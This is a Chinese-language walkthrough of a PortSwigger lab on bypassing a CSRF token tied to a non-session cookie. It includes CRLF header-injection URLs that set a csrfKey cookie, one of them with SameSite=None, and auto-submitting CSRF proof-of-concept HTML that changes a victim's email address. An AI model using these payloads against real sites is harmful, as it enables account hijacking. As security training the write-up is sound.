从业者-CSRF-令牌绑定到非会话cookie
# 实验室:CSRF-令牌绑定到非会话cookie
# 题目
此实验室的 电子邮件更改功能 容易受到 CSRF 的攻击。它试图使用令牌来防止 CSRF 攻击,但它们没有充分集成到网站的会话处理系统中。
若要解决实验室问题,请使用漏洞利用服务器托管一个 HTML 页面,该页面使用 CSRF 攻击来更改查看者的电子邮件地址。
你在应用程序上有两个帐户,可用于帮助设计攻击。凭据如下:
wiener:peter
carlos:montoya
提示
你不能注册已被其他用户占用的电子邮件地址。如果你在测试漏洞期间 更改了自己的电子邮件地址,请你确保——向受害者发送的最终漏洞利用中,应包含不同的电子邮件地址。
- name: 实验室-从业者
desc: CSRF-令牌绑定到非会话cookie >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/csrf/bypassing-token-validation/lab-token-tied-to-non-session-cookie
bgColor: '#001350'
textColor: '#4cc1ff'
2
3
4
5
6
# 实操
点击 “ACCESS THE LAB” 进入实验室。
进入实验室,看到一个搜索功能?肯定有鬼。
尝试搜索,并捕获请求数据包,
参数search
的值会在响应标头Set-Cookie
中返回,并添加到当前账户的 Cookie 中。
访问账户页面,更改邮箱并捕获请求数据包。
该请求携带了刚刚设置的 Cookie。
回到搜索功能,可不可以传递 “空格” 来设置多个 Cookie 呢?
?search=abc;%20csrfKey=123123
后面的内容都是灰色的,说明 Cookie 没有设置成功。
经过实际测试,确实不行。
通过换行(\r\n)然后另起一个Set-Cookie
标头行不行?
?search=abc%0d%0aSet-Cookie:%20csrfKey=123123
完美注入 Cookie。
使用wiener
账户的邮箱更改数据包 生成一个 CSRF PoC,然后对其进行改进:
- 先通过
img
标签进行一次搜索功能,把wiener
账户的非会话 Cookie 注入到受害者的 Cookie 中
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<img src="https://<受攻击的域>/?search=xyz%0d%0aSet-Cookie:%20csrfKey=jDWlH8kK5VECtcWCpAXnGNAuFX4BFKwa">
<form action="https://<受攻击的域>/my-account/change-email" method="POST">
<input type="hidden" name="email" value="x@y.z" />
<input type="hidden" name="csrf" value="KjnVJmOiwraMShabrdPMa6CXlECs8IEy" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
将 PoC 保存到漏洞利用服务器上。
登录另一个账户carlos
。
访问漏洞利用 URL,发现利用失败。
查看产生的数据包,在第二个数据包中,正确注入了 Cookie。
但是在第三个数据包中,注入的 Cookie 没有被包含进去。
那我尝试将两个操作(注入Cookie 和 执行CSRF攻击)分开执行。
先执行搜索功能,注入 Cookie:
<script>
window.location = "https://<受攻击的域>/?search=xyz%0d%0aSet-Cookie:%20csrfKey=jDWlH8kK5VECtcWCpAXnGNAuFX4BFKwa";
</script>
2
3
发送给受害用户。
然后再执行 CSRF 攻击:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://<受攻击的域>/my-account/change-email" method="POST">
<input type="hidden" name="email" value="x@y.z" />
<input type="hidden" name="csrf" value="KjnVJmOiwraMShabrdPMa6CXlECs8IEy" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
2
3
4
5
6
7
8
9
10
11
12
13
14
也发送给受害用户。
成功,实验完成。
# 后续
其实刚刚通过img
标签,将两个操作结合起来,是可行的。
但是由于 SameSite cookie 策略的限制,导致在第三个请求数据包中无法包含注入的 Cookie。
所以在注入 Cookie 的时候,还需要顺带注入SameSite=None
属性,禁用 SameSite 策略,允许在跨站请求中包含 Cookie。
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<img src="https://<受攻击的域>/?search=jkl%0d%0aSet-Cookie:%20csrfKey=jDWlH8kK5VECtcWCpAXnGNAuFX4BFKwa%3b%20SameSite=None" onerror="document.forms[0].submit()">
<form action="https://<受攻击的域>/my-account/change-email" method="POST">
<input type="hidden" name="email" value="j@k.l" />
<input type="hidden" name="csrf" value="KjnVJmOiwraMShabrdPMa6CXlECs8IEy" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
2
3
4
5
6
7
8
9
10
11
12
载荷演示: